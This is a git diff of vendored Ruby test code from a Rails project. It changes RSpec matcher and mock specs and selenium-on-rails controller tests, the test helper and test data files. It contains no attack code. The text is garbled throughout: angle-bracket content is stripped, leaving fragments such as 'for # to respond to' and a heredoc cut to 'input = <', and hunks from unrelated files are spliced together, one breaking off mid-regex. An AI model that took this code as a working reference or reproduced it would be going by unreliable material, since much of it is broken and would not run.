module ActiveSupport
class Inflector
def self.pluralize(string)
@@ -66,6 +67,38 @@ describe 'should have(1).item when ActiveSupport::Inflector is defined' do
owner = create_collection_owner_with(1)
owner.should have(1).item
end
+
+ after(:each) do
+ if @active_support_was_not_defined
+ Object.send :remove_const, :ActiveSupport
+ end
+ end
+end
+
+describe 'should have(1).item when Inflector is defined' do
+ include HaveSpecHelper
+
+ before(:each) do
+ unless defined?(Inflector)
+ @inflector_was_not_defined
+ class Inflector
+ def self.pluralize(string)
+ string.to_s + 's'
+ end
+ end
+ end
+ end
+
+ it 'should pluralize the collection name' do
+ owner = create_collection_owner_with(1)
+ owner.should have(1).item
+ end
+
+ after(:each) do
+ if @inflector_was_not_defined
+ Object.send :remove_const, :Inflector
+ end
+ end
end
describe "should have(n).items where result responds to items but returns something other than a collection" do
@@ -291,3 +324,71 @@ describe "have(n).things on an object which is not a collection nor contains one
lambda { Object.new.should have(2).things }.should raise_error(NoMethodError, /undefined method `things' for # to respond to "method_one"/)
end
it "should fail target does not respond to second message" do
lambda {
Object.new.should respond_to('inspect', 'method_one')
- }.should fail_with('expected target to respond to "method_one"')
+ }.should fail_with(/expected # to respond to "method_one"/)
end
it "should fail target does not respond to either message" do
lambda {
Object.new.should respond_to('method_one', 'method_two')
- }.should fail_with('expected target to respond to "method_one", "method_two"')
+ }.should fail_with(/expected # to respond to "method_one", "method_two"/)
end
end
@@ -48,7 +48,7 @@ describe "should_not respond_to(:sym)" do
it "should fail target responds to :sym" do
lambda {
Object.new.should_not respond_to(:methods)
- }.should fail_with("expected target not to respond to :methods")
+ }.should fail_with(/expected # not to respond to :methods/)
end
end
diff --git a/vendor/plugins/rspec/spec/spec/matchers/simple_matcher_spec.rb b/vendor/plugins/rspec/spec/spec/matchers/simple_matcher_spec.rb
index b731af92..9841c536 100644
--- a/vendor/plugins/rspec/spec/spec/matchers/simple_matcher_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/matchers/simple_matcher_spec.rb
@@ -3,7 +3,7 @@ require File.dirname(__FILE__) + '/../../spec_helper'
module Spec
module Matchers
describe SimpleMatcher do
- it "should match pass match arg to block" do
+ it "should pass match arg to block" do
actual = nil
matcher = simple_matcher("message") do |given| actual = given end
matcher.matches?("foo")
@@ -22,10 +22,72 @@ module Spec
matcher.negative_failure_message.should =~ /expected not to get \"thing\", but got \"other\"/
end
- it "should provide a description" do
+ it "should provide the given description" do
matcher = simple_matcher("thing") do end
matcher.description.should =="thing"
end
+
+ it "should fail if a wrapped 'should' fails" do
+ matcher = simple_matcher("should fail") do
+ 2.should == 3
+ end
+ lambda do
+ matcher.matches?("anything").should be_true
+ end.should fail_with(/expected: 3/)
+ end
end
+
+ describe "with arity of 2" do
+ it "should provide the matcher so you can access its messages" do
+ provided_matcher = nil
+ matcher = simple_matcher("thing") do |given, matcher|
+ provided_matcher = matcher
+ end
+ matcher.matches?("anything")
+ provided_matcher.should equal(matcher)
+ end
+
+ it "should support a custom failure message" do
+ matcher = simple_matcher("thing") do |given, matcher|
+ matcher.failure_message = "custom message"
+ end
+ matcher.matches?("other")
+ matcher.failure_message.should == "custom message"
+ end
+
+ it "should complain when asked for a failure message if you don't give it a description or a message" do
+ matcher = simple_matcher do |given, matcher| end
+ matcher.matches?("other")
+ matcher.failure_message.should =~ /No description provided/
+ end
+
+ it "should support a custom negative failure message" do
+ matcher = simple_matcher("thing") do |given, matcher|
+ matcher.negative_failure_message = "custom message"
+ end
+ matcher.matches?("other")
+ matcher.negative_failure_message.should == "custom message"
+ end
+
+ it "should complain when asked for a negative failure message if you don't give it a description or a message" do
+ matcher = simple_matcher do |given, matcher| end
+ matcher.matches?("other")
+ matcher.negative_failure_message.should =~ /No description provided/
+ end
+
+ it "should support a custom description" do
+ matcher = simple_matcher("thing") do |given, matcher|
+ matcher.description = "custom message"
+ end
+ matcher.matches?("description")
+ matcher.description.should == "custom message"
+ end
+
+ it "should tell you no description was provided when it doesn't receive one" do
+ matcher = simple_matcher do end
+ matcher.description.should =~ /No description provided/
+ end
+ end
+
end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/spec/spec/mocks/any_number_of_times_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/any_number_of_times_spec.rb
index 3f50dcfc..fa6061b6 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/any_number_of_times_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/any_number_of_times_spec.rb
@@ -23,6 +23,13 @@ module Spec
it "should pass if any number of times method is not called" do
@mock.should_receive(:random_call).any_number_of_times
end
+
+ it "should return the mocked value when called after a similar stub" do
+ @mock.stub!(:message).and_return :stub_value
+ @mock.should_receive(:message).any_number_of_times.and_return(:mock_value)
+ @mock.message.should == :mock_value
+ @mock.message.should == :mock_value
+ end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/bug_report_496.rb b/vendor/plugins/rspec/spec/spec/mocks/bug_report_496.rb
new file mode 100644
index 00000000..a911f3dc
--- /dev/null
+++ b/vendor/plugins/rspec/spec/spec/mocks/bug_report_496.rb
@@ -0,0 +1,17 @@
+require File.dirname(__FILE__) + '/../../spec_helper.rb'
+
+class BaseClass
+end
+
+class SubClass < BaseClass
+end
+
+describe "a message expectation on a base class object" do
+ it "should correctly pick up message sent to it subclass" do
+ pending("fix for http://rspec.lighthouseapp.com/projects/5645-rspec/tickets/496") do
+ BaseClass.should_receive(:new).once
+ SubClass.new
+ end
+ end
+end
+
diff --git a/vendor/plugins/rspec/spec/spec/mocks/failing_mock_argument_constraints_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/failing_mock_argument_constraints_spec.rb
index 21acc155..0b24e001 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/failing_mock_argument_constraints_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/failing_mock_argument_constraints_spec.rb
@@ -91,40 +91,5 @@ module Spec
end
end
-
- describe "failing deprecated MockArgumentConstraints" do
- before(:each) do
- @mock = mock("test mock")
- @reporter = Mock.new("reporter", :null_object => true)
- Kernel.stub!(:warn)
- end
-
- after(:each) do
- @mock.rspec_reset
- end
-
- it "should reject non boolean" do
- @mock.should_receive(:random_call).with(:boolean)
- lambda do
- @mock.random_call("false")
- end.should raise_error(MockExpectationError)
- end
-
- it "should reject non numeric" do
- @mock.should_receive(:random_call).with(:numeric)
- lambda do
- @mock.random_call("1")
- end.should raise_error(MockExpectationError)
- end
-
- it "should reject non string" do
- @mock.should_receive(:random_call).with(:string)
- lambda do
- @mock.random_call(123)
- end.should raise_error(MockExpectationError)
- end
-
-
- end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/hash_including_matcher_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/hash_including_matcher_spec.rb
index 29fae310..17f174e6 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/hash_including_matcher_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/hash_including_matcher_spec.rb
@@ -2,31 +2,52 @@ require File.dirname(__FILE__) + '/../../spec_helper.rb'
module Spec
module Mocks
- describe HashIncludingConstraint do
-
- it "should match the same hash" do
- hash_including(:a => 1).matches?(:a => 1).should be_true
- end
-
- it "should not match a non-hash" do
- hash_including(:a => 1).matches?(1).should_not be_true
- end
+ module ArgumentConstraints
+ describe HashIncludingConstraint do
+
+ it "should describe itself properly" do
+ HashIncludingConstraint.new(:a => 1).description.should == "hash_including(:a=>1)"
+ end
- it "should match a hash with extra stuff" do
- hash_including(:a => 1).matches?(:a => 1, :b => 2).should be_true
- end
-
- it "should not match a hash with a missing key" do
- hash_including(:a => 1).matches?(:b => 2).should_not be_true
- end
+ describe "passing" do
+ it "should match the same hash" do
+ hash_including(:a => 1).should == {:a => 1}
+ end
- it "should not match a hash with an incorrect value" do
- hash_including(:a => 1, :b => 2).matches?(:a => 1, :b => 3).should_not be_true
- end
+ it "should match a hash with extra stuff" do
+ hash_including(:a => 1).should == {:a => 1, :b => 2}
+ end
+
+ describe "when matching against other constraints" do
+ it "should match an int against anything()" do
+ hash_including(:a => anything, :b => 2).should == {:a => 1, :b => 2}
+ end
- it "should describe itself properly" do
- HashIncludingConstraint.new(:a => 1).description.should == "hash_including(:a=>1)"
- end
+ it "should match a string against anything()" do
+ hash_including(:a => anything, :b => 2).should == {:a => "1", :b => 2}
+ end
+ end
+ end
+
+ describe "failing" do
+ it "should not match a non-hash" do
+ hash_including(:a => 1).should_not == 1
+ end
+
+
+ it "should not match a hash with a missing key" do
+ hash_including(:a => 1).should_not == {:b => 2}
+ end
+
+ it "should not match a hash with an incorrect value" do
+ hash_including(:a => 1, :b => 2).should_not == {:a => 1, :b => 3}
+ end
+
+ it "should not match when values are nil but keys are different" do
+ hash_including(:a => nil).should_not == {:b => nil}
+ end
+ end
+ end
end
- end
-end
\ No newline at end of file
+ end
+end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/mock_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/mock_spec.rb
index 4d6dff82..3a55d366 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/mock_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/mock_spec.rb
@@ -23,6 +23,18 @@ module Spec
end
end
+ it "should report line number of expectation of unreceived message after #should_receive after similar stub" do
+ @mock.stub!(:wont_happen)
+ expected_error_line = __LINE__; @mock.should_receive(:wont_happen).with("x", 3)
+ begin
+ @mock.rspec_verify
+ violated
+ rescue MockExpectationError => e
+ # NOTE - this regexp ended w/ $, but jruby adds extra info at the end of the line
+ e.backtrace[0].should match(/#{File.basename(__FILE__)}:#{expected_error_line}/)
+ end
+ end
+
it "should pass when not receiving message specified as not to be received" do
@mock.should_not_receive(:not_expected)
@mock.rspec_verify
@@ -403,7 +415,22 @@ module Spec
@mock.msg.should equal(:stub_value)
@mock.rspec_verify
end
-
+
+ it "should not require a different signature to replace a method stub" do
+ @mock.stub!(:msg).and_return(:stub_value)
+ @mock.should_receive(:msg).and_return(:mock_value)
+ @mock.msg(:arg).should equal(:mock_value)
+ @mock.msg.should equal(:stub_value)
+ @mock.msg.should equal(:stub_value)
+ @mock.rspec_verify
+ end
+
+ it "should raise an error when a previously stubbed method has a negative expectation" do
+ @mock.stub!(:msg).and_return(:stub_value)
+ @mock.should_not_receive(:msg).and_return(:mock_value)
+ lambda {@mock.msg(:arg)}.should raise_error(MockExpectationError)
+ end
+
it "should temporarily replace a method stub on a non-mock" do
non_mock = Object.new
non_mock.stub!(:msg).and_return(:stub_value)
@@ -413,7 +440,32 @@ module Spec
non_mock.msg.should equal(:stub_value)
non_mock.rspec_verify
end
-
+
+ it "should return the stubbed value when no new value specified" do
+ @mock.stub!(:msg).and_return(:stub_value)
+ @mock.should_receive(:msg)
+ @mock.msg.should equal(:stub_value)
+ @mock.rspec_verify
+ end
+
+ it "should not mess with the stub's yielded values when also mocked" do
+ @mock.stub!(:yield_back).and_yield(:stub_value)
+ @mock.should_receive(:yield_back).and_yield(:mock_value)
+ @mock.yield_back{|v| v.should == :mock_value }
+ @mock.yield_back{|v| v.should == :stub_value }
+ @mock.rspec_verify
+ end
+
+ it "should yield multiple values after a similar stub" do
+ File.stub!(:open).and_yield(:stub_value)
+ File.should_receive(:open).and_yield(:first_call).and_yield(:second_call)
+ yielded_args = []
+ File.open {|v| yielded_args << v }
+ yielded_args.should == [:first_call, :second_call]
+ File.open {|v| v.should == :stub_value }
+ File.rspec_verify
+ end
+
it "should assign stub return values" do
mock = Mock.new('name', :message => :response)
mock.message.should == :response
@@ -439,6 +491,15 @@ module Spec
@calls.should == 1
end
+ it "should call the block after #should_receive after a similar stub" do
+ @mock.stub!(:foo).and_return(:bar)
+ @mock.should_receive(:foo) { add_call }
+
+ @mock.foo
+
+ @calls.should == 1
+ end
+
it "should call the block after #once" do
@mock.should_receive(:foo).once { add_call }
diff --git a/vendor/plugins/rspec/spec/spec/mocks/nil_expectation_warning_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/nil_expectation_warning_spec.rb
new file mode 100644
index 00000000..392dfb64
--- /dev/null
+++ b/vendor/plugins/rspec/spec/spec/mocks/nil_expectation_warning_spec.rb
@@ -0,0 +1,54 @@
+require File.dirname(__FILE__) + '/../../spec_helper.rb'
+
+module Spec
+ module Mocks
+
+ describe "an expectation set on nil" do
+
+ it "should issue a warning with file and line number information" do
+ expected_warning = "An expectation of :foo was set on nil. Called from #{__FILE__}:#{__LINE__+3}. Use allow_message_expectations_on_nil to disable warnings."
+ Kernel.should_receive(:warn).with(expected_warning)
+
+ nil.should_receive(:foo)
+ nil.foo
+ end
+
+ it "should issue a warning when the expectation is negative" do
+ Kernel.should_receive(:warn)
+
+ nil.should_not_receive(:foo)
+ end
+
+ it "should not issue a warning when expectations are set to be allowed" do
+ allow_message_expectations_on_nil
+ Kernel.should_not_receive(:warn)
+
+ nil.should_receive(:foo)
+ nil.should_not_receive(:bar)
+ nil.foo
+ end
+
+ end
+
+ describe "#allow_message_expectations_on_nil" do
+ include SandboxedOptions
+
+ it "should not effect subsequent examples" do
+ example_group = Class.new(ExampleGroup)
+ example_group.it("when called in one example that doesn't end up setting an expectation on nil") do
+ allow_message_expectations_on_nil
+ end
+ example_group.it("should not effect the next exapmle ran") do
+ Kernel.should_receive(:warn)
+ nil.should_receive(:foo)
+ nil.foo
+ end
+
+ example_group.run.should be_true
+
+ end
+
+ end
+
+ end
+end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/null_object_mock_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/null_object_mock_spec.rb
index 57e8ca31..e8e4d863 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/null_object_mock_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/null_object_mock_spec.rb
@@ -36,5 +36,19 @@ module Spec
@mock.message(:unexpected_arg)
end
end
+
+ describe "#null_object?" do
+ it "should default to false" do
+ obj = mock('anything')
+ obj.should_not be_null_object
+ end
+ end
+
+ describe "#as_null_object" do
+ it "should set the object to null_object" do
+ obj = mock('anything').as_null_object
+ obj.should be_null_object
+ end
+ end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/options_hash_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/options_hash_spec.rb
index 0bfab26d..81d3f25a 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/options_hash_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/options_hash_spec.rb
@@ -3,42 +3,32 @@ require File.dirname(__FILE__) + '/../../spec_helper.rb'
module Spec
module Mocks
describe "calling :should_receive with an options hash" do
- it_should_behave_like "sandboxed rspec_options"
- attr_reader :reporter, :example_group
- before do
- @reporter = ::Spec::Runner::Reporter.new(options)
- @example_group = Class.new(::Spec::Example::ExampleGroup) do
- plugin_mock_framework
- describe("Some Examples")
- end
- reporter.add_example_group example_group
- end
-
it "should report the file and line submitted with :expected_from" do
- example_definition = example_group.it "spec" do
+ begin
mock = Spec::Mocks::Mock.new("a mock")
mock.should_receive(:message, :expected_from => "/path/to/blah.ext:37")
mock.rspec_verify
+ rescue => e
+ ensure
+ e.backtrace.to_s.should =~ /\/path\/to\/blah.ext:37/m
end
- example = example_group.new(example_definition)
-
- reporter.should_receive(:example_finished) do |spec, error|
- error.backtrace.detect {|line| line =~ /\/path\/to\/blah.ext:37/}.should_not be_nil
- end
- example.execute(options, {})
end
it "should use the message supplied with :message" do
- example_definition = @example_group.it "spec" do
- mock = Spec::Mocks::Mock.new("a mock")
- mock.should_receive(:message, :message => "recebi nada")
- mock.rspec_verify
- end
- example = @example_group.new(example_definition)
- @reporter.should_receive(:example_finished) do |spec, error|
- error.message.should == "recebi nada"
- end
- example.execute(@options, {})
+ lambda {
+ m = Spec::Mocks::Mock.new("a mock")
+ m.should_receive(:message, :message => "recebi nada")
+ m.rspec_verify
+ }.should raise_error("recebi nada")
+ end
+
+ it "should use the message supplied with :message after a similar stub" do
+ lambda {
+ m = Spec::Mocks::Mock.new("a mock")
+ m.stub!(:message)
+ m.should_receive(:message, :message => "from mock")
+ m.rspec_verify
+ }.should raise_error("from mock")
end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/mocks/partial_mock_spec.rb b/vendor/plugins/rspec/spec/spec/mocks/partial_mock_spec.rb
index 25472557..30b7b035 100644
--- a/vendor/plugins/rspec/spec/spec/mocks/partial_mock_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/mocks/partial_mock_spec.rb
@@ -11,7 +11,14 @@ module Spec
@object.should_receive(:foo)
lambda do
@object.rspec_verify
- end.should raise_error(Spec::Mocks::MockExpectationError, /Object/)
+ end.should raise_error(Spec::Mocks::MockExpectationError, / expected/)
+ end
+
+ it "should name the class in the failure message when expectation is on class" do
+ Object.should_receive(:foo)
+ lambda do
+ Object.rspec_verify
+ end.should raise_error(Spec::Mocks::MockExpectationError, /
@@ -199,15 +208,20 @@ c_123ABC=<%= c_123ABC if defined? c_123ABC%>
END_PARTIAL
- assert_selenese expected, 'Partial support with local assigns', input, partial, 'rhtml'
- end
+
+ create_sel_file_from(partial, "_override.html")
+ assert_selenese(expected, 'Partial support with local assigns', input)
+
+ File.delete(test_path_for("_override.html"))
+ end
+
def test_raised_when_more_than_three_columns
assert_raise RuntimeError, 'There might only be a maximum of three cells!' do
- selenese 'name', '|col1|col2|col3|col4|'
+ render_selenese 'name', '|col1|col2|col3|col4|'
end
end
-
+
def test_raised_when_more_than_one_set_of_commands
assert_raise RuntimeError, 'You cannot have comments in the middle of commands!' do
input = <
-
-
-
-END
- assert_text_equal expected, @response.body
- end
-
- def test_missing_tests_directory
- def @controller.selenium_tests_path
- File.join(File.dirname(__FILE__), 'invalid')
- end
- get :test_file, :testname => ''
- assert_response 404
- assert_equal "Did not find the Selenium tests path (#{File.join(File.dirname(__FILE__), 'invalid')}). Run script/generate selenium", @response.body
- end
-
-end
+require File.dirname(__FILE__) + '/test_helper'
+
+class SuiteRendererTest < Test::Unit::TestCase
+ def setup
+ @controller = SeleniumController.new
+ ActionController::Routing::Routes.draw
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @controller.layout_override =<test layout
+@content_for_layout
+
+END
+ end
+
+ def test_empty_suite
+ get :test_file, :testname => 'empty_suite'
+
+ assert_response :success
+ assert_tag :tag => "title", :content => "test layout"
+ assert_tag :tag => "script", :attributes => {:type => "text/javascript"}
+ assert_tag :tag => "select", :attributes => {:onchange => "openSuite(this)"},
+ :descendant => {:tag => "option", :attributes => {:value => "header"}, :content => "Suites:"},
+ :descendant => {:tag => "option", :attributes => {:value => ""}, :content => ".."}
+
+ assert_tag :tag => "table",
+ :descendant => {:tag => "th", :content => "Empty suite"}
+ end
+
+ def test_root_suite
+ _test_root_suite ''
+ end
+
+ def test_test_suite_html
+ #TestSuite.html is the default name the Selenium Runner tries to run
+ _test_root_suite 'TestSuite.html'
+ end
+
+ def _test_root_suite testname
+ get :test_file, :testname => testname
+ assert_response :success
+
+ assert_tag :tag => "title", :content => "test layout"
+ assert_tag :tag => "script", :attributes => {:type => "text/javascript"}
+ assert_tag :tag => "select", :attributes => {:onchange => "openSuite(this)"},
+ :descendant => {:tag => "option", :attributes => {:value => "header"}, :content => "Suites:"},
+ :descendant => {:tag => "option", :attributes => {:value => "/partials"}, :content => "Partials"},
+ :descendant => {:tag => "option", :attributes => {:value => "/suite_one"}, :content => "Suite one"},
+ :descendant => {:tag => "option", :attributes => {:value => "/suite_two"}, :content => "Suite two"},
+ :descendant => {:tag => "option", :attributes => {:value => "/suite_one/subsuite"}, :content => "Suite one.Subsuite"}
+
+ assert_tag :tag => "table",
+ :descendant => {:tag => "th", :content => "All test cases"},
+ :descendant => {:tag => "td", :content => "Html"},
+ :descendant => {:tag => "td", :content => "Own layout"},
+ :descendant => {:tag => "td", :content => "Rhtml"},
+ :descendant => {:tag => "td", :content => "Rselenese"},
+ :descendant => {:tag => "td", :content => "Selenese"},
+ :descendant => {:tag => "td", :content => "Partials.All partials"},
+ :descendant => {:tag => "td", :content => "Suite one.Suite one testcase1"},
+ :descendant => {:tag => "td", :content => "Suite one.Suite one testcase2"},
+ :descendant => {:tag => "td", :content => "Suite one.Subsuite.Suite one subsuite testcase"},
+ :descendant => {:tag => "td", :content => "Suite two.Suite two testcase"}
+ end
+
+ def test_suite_one
+ get :test_file, :testname => 'suite_one'
+
+ assert_response :success
+ assert_tag :tag => "title", :content => "test layout"
+ assert_tag :tag => "script", :attributes => {:type => "text/javascript"}
+ assert_tag :tag => "select", :attributes => {:onchange => "openSuite(this)"},
+ :descendant => {:tag => "option", :attributes => {:value => "header"}, :content => "Suites:"},
+ :descendant => {:tag => "option", :attributes => {:value => ""}, :content => ".."},
+ :descendant => {:tag => "option", :attributes => {:value => "/suite_one/subsuite"}, :content => "Subsuite"}
+
+ assert_tag :tag => "table",
+ :descendant => {:tag => "th", :content => "Suite one"},
+ :descendant => {:tag => "td", :content => "Suite one testcase1"},
+ :descendant => {:tag => "td", :content => "Suite one testcase2"},
+ :descendant => {:tag => "td", :content => "Subsuite.Suite one subsuite testcase"}
+ end
+
+ def test_sub_suite
+ get :test_file, :testname => 'suite_one/subsuite'
+
+ assert_response :success
+ assert_tag :tag => "title", :content => "test layout"
+ assert_tag :tag => "script", :attributes => {:type => "text/javascript"}
+ assert_tag :tag => "select", :attributes => {:onchange => "openSuite(this)"},
+ :descendant => {:tag => "option", :attributes => {:value => "header"}, :content => "Suites:"},
+ :descendant => {:tag => "option", :attributes => {:value => "/suite_one"}, :content => ".."}
+
+ assert_tag :tag => "table",
+ :descendant => {:tag => "th", :content => "Subsuite"},
+ :descendant => {:tag => "td", :content => "Suite one subsuite testcase"}
+ end
+
+ def test_missing_tests_directory
+ def @controller.selenium_tests_path
+ File.join(File.dirname(__FILE__), 'invalid')
+ end
+ get :test_file, :testname => ''
+ assert_response 404
+ assert_equal "Did not find the Selenium tests path (#{File.join(File.dirname(__FILE__), 'invalid')}). Run script/generate selenium", @response.body
+ end
+
+end
diff --git a/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb b/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb
new file mode 100644
index 00000000..febe59a9
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb
@@ -0,0 +1,20 @@
+require File.dirname(__FILE__) + '/test_helper'
+require 'mocha'
+require 'controllers/switch_environment_controller'
+
+class SwitchEnvironmentControllerTest < Test::Unit::TestCase
+
+ def setup
+ @config = mock()
+ setup_controller_test(SwitchEnvironmentController)
+ end
+
+ def test_index
+ SeleniumOnRailsConfig.expects(:new).returns(@config)
+ @config.expects(:get).with(:environments).returns("hello dolly")
+
+ get :index
+
+ assert @response.body.include?('hello dolly')
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test/test_helper.rb b/vendor/plugins/selenium-on-rails/test/test_helper.rb
index 7c8e4705..397352f3 100644
--- a/vendor/plugins/selenium-on-rails/test/test_helper.rb
+++ b/vendor/plugins/selenium-on-rails/test/test_helper.rb
@@ -1,70 +1,99 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path(File.dirname(__FILE__) + "/../../../../config/environment")
-require 'test_help'
-require 'controllers/selenium_controller'
-
-module SeleniumOnRails::Paths
- def selenium_tests_path
- File.expand_path(File.dirname(__FILE__) + '/../test_data')
- end
-end
-
-class SeleniumController
- attr_accessor :layout_override
- # Re-raise errors caught by the controller.
- def rescue_action e
- raise e
- end
-
- def render options = nil, deprecated_status = nil
- if override_layout? options
- options[:layout] = false
- super options, deprecated_status
- return response.body = @layout_override.gsub('@content_for_layout', response.body)
- end
- super options, deprecated_status
- end
-
- private
- def override_layout? options
- return false unless @layout_override
- if options[:action] or options[:template]
- options[:layout] != false #for action and template the default layout is used if not explicitly disabled
- else
- not [nil, false].include? options[:layout] #otherwise a layout has to be specified
- end
- end
-
-end
-
-class Test::Unit::TestCase
- def assert_text_equal expected, actual
- assert_equal clean_text(expected), clean_text(actual)
- end
-
- def clean_text text
- text.gsub("\t", ' ').gsub("\r", '').gsub("\n", '').gsub(/ *, '<')
- end
-
-end
-
-class TestView < ActionView::Base
- include SeleniumOnRails::PartialsSupport
-
- alias_method :render_partial_without_override, :render_partial
- def render_partial partial_path = default_template_name, object = nil, local_assigns = nil, status = nil
- if @override
- partial = render :inline => @override, :type => @override_type, :locals => local_assigns
- extract_commands_from_partial partial
- else
- render_partial_without_override partial_path, object, local_assigns, status
- end
- end
-
- def override_partial partial, type
- @override, @override_type = partial, type
- result = yield
- @override, @override_type = nil, nil
- result
- end
+ENV["RAILS_ENV"] = "test"
+RAILS_ROOT = "test" unless defined?(RAILS_ROOT)
+$: << File.expand_path(File.dirname(__FILE__) + "/../lib")
+
+require 'rubygems'
+gem 'activesupport'
+require 'active_support'
+
+require 'action_view/template_handler'
+require 'action_view/template_handlers/builder'
+require 'action_view/template_handlers/erb'
+require 'action_view/template_handlers/rjs'
+require 'action_view/base'
+require 'action_view/partials'
+require 'action_view/template_error'
+require 'action_controller'
+
+require 'selenium_on_rails/suite_renderer'
+require 'selenium_on_rails/fixture_loader'
+require 'selenium_helper'
+require 'controllers/selenium_controller'
+require File.expand_path(File.dirname(__FILE__) + "/../routes")
+require 'action_controller/test_process'
+
+SeleniumController.append_view_path File.expand_path(File.dirname(__FILE__))
+
+def setup_controller_test(controller)
+ @controller = controller.new
+ ActionController::Routing::Routes.draw
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+end
+
+module SeleniumOnRails::Paths
+ def selenium_tests_path
+ File.expand_path(File.dirname(__FILE__) + '/../test_data')
+ end
+end
+
+class SeleniumController
+ attr_accessor :layout_override
+ # Re-raise errors caught by the controller.
+ def rescue_action e
+ raise e
+ end
+
+ def render options = nil
+ if override_layout? options
+ options[:layout] = false
+ super options
+ return response.body = @layout_override.gsub('@content_for_layout', response.body)
+ end
+ super options
+ end
+
+ private
+ def override_layout? options
+ return false unless @layout_override
+ if options[:action] or options[:template]
+ options[:layout] != false #for action and template the default layout is used if not explicitly disabled
+ else
+ not [nil, false].include? options[:layout] #otherwise a layout has to be specified
+ end
+ end
+
+end
+
+class Test::Unit::TestCase
+ def assert_text_equal expected, actual
+ assert_equal clean_text(expected), clean_text(actual)
+ end
+
+ def clean_text text
+ text.gsub("\t", ' ').gsub("\r", '').gsub("\n", '').gsub(/ *, '<')
+ end
+
+end
+
+class TestView < ActionView::Base
+ include SeleniumOnRails::PartialsSupport
+
+ # alias_method :render_partial_without_override, :render_partial
+ # def render_partial partial_path = default_template_name, object = nil, local_assigns = nil, status = nil
+ # if @override
+ # partial = render :inline => @override, :type => @override_type, :locals => local_assigns
+ # extract_commands_from_partial partial
+ # else
+ # render_partial_without_override partial_path, object, local_assigns, status
+ # end
+ # end
+ #
+ # def override_partial partial, type
+ # @override, @override_type = partial, type
+ # result = yield
+ # @override, @override_type = nil, nil
+ # result
+ # end
+
end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_templates/.gitignore b/vendor/plugins/selenium-on-rails/test_data/.hidden.html
similarity index 100%
rename from vendor/rails/railties/test/fixtures/lib/generators/missing_templates/.gitignore
rename to vendor/plugins/selenium-on-rails/test_data/.hidden.html
diff --git a/vendor/rails/railties/test/fixtures/plugins/alternate/a/lib/.gitignore b/vendor/plugins/selenium-on-rails/test_data/backup.html~
similarity index 100%
rename from vendor/rails/railties/test/fixtures/plugins/alternate/a/lib/.gitignore
rename to vendor/plugins/selenium-on-rails/test_data/backup.html~
diff --git a/vendor/plugins/selenium-on-rails/test_data/html.html b/vendor/plugins/selenium-on-rails/test_data/html.html
index 1a0addb8..08e1143d 100644
--- a/vendor/plugins/selenium-on-rails/test_data/html.html
+++ b/vendor/plugins/selenium-on-rails/test_data/html.html
@@ -1,6 +1,6 @@
-
Testing plain HTML
-
-
Test HTML
-
open
/selenium/setup
-
+
Testing plain HTML
+
+
Test HTML
+
open
/selenium/setup
+
and it works...
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/own_layout.html b/vendor/plugins/selenium-on-rails/test_data/own_layout.html
index a45c5498..5f07842e 100644
--- a/vendor/plugins/selenium-on-rails/test_data/own_layout.html
+++ b/vendor/plugins/selenium-on-rails/test_data/own_layout.html
@@ -1,12 +1,12 @@
-
-
- Test case with own layout
-
-
-
-
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel b/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
index 0c8e9d59..f73ac4b2 100644
--- a/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
+++ b/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
@@ -1,8 +1,8 @@
-setup
-setup :keep_session
-test.setup :fixtures => :all
-setup :fixtures => [:foo, 'bar']
-setup :clear_tables => [:foo, :bar], :fixtures => :all
-assert_absolute_location :controller => 'selenium', :action => 'setup' #urls must be tested with a controller
-assert_title view.controller.controller_name #make sure we can access the view easily
-include_partial 'partial', :source => 'RSelenese'
+setup
+setup :keep_session
+test.setup :fixtures => :all
+setup :fixtures => [:foo, 'bar']
+setup :clear_tables => [:foo, :bar], :fixtures => :all
+assert_absolute_location :controller => 'selenium', :action => 'setup' #urls must be tested with a controller
+assert_title view.controller.controller_name #make sure we can access the view easily
+include_partial 'partial', :source => 'RSelenese'
diff --git a/vendor/plugins/selenium-on-rails/test_data/selenese.sel b/vendor/plugins/selenium-on-rails/test_data/selenese.sel
index 46b1dce9..9daa0e14 100644
--- a/vendor/plugins/selenium-on-rails/test_data/selenese.sel
+++ b/vendor/plugins/selenium-on-rails/test_data/selenese.sel
@@ -1,7 +1,7 @@
-Selenese *support*
-
-|open|/selenium/setup|
-|goBack|
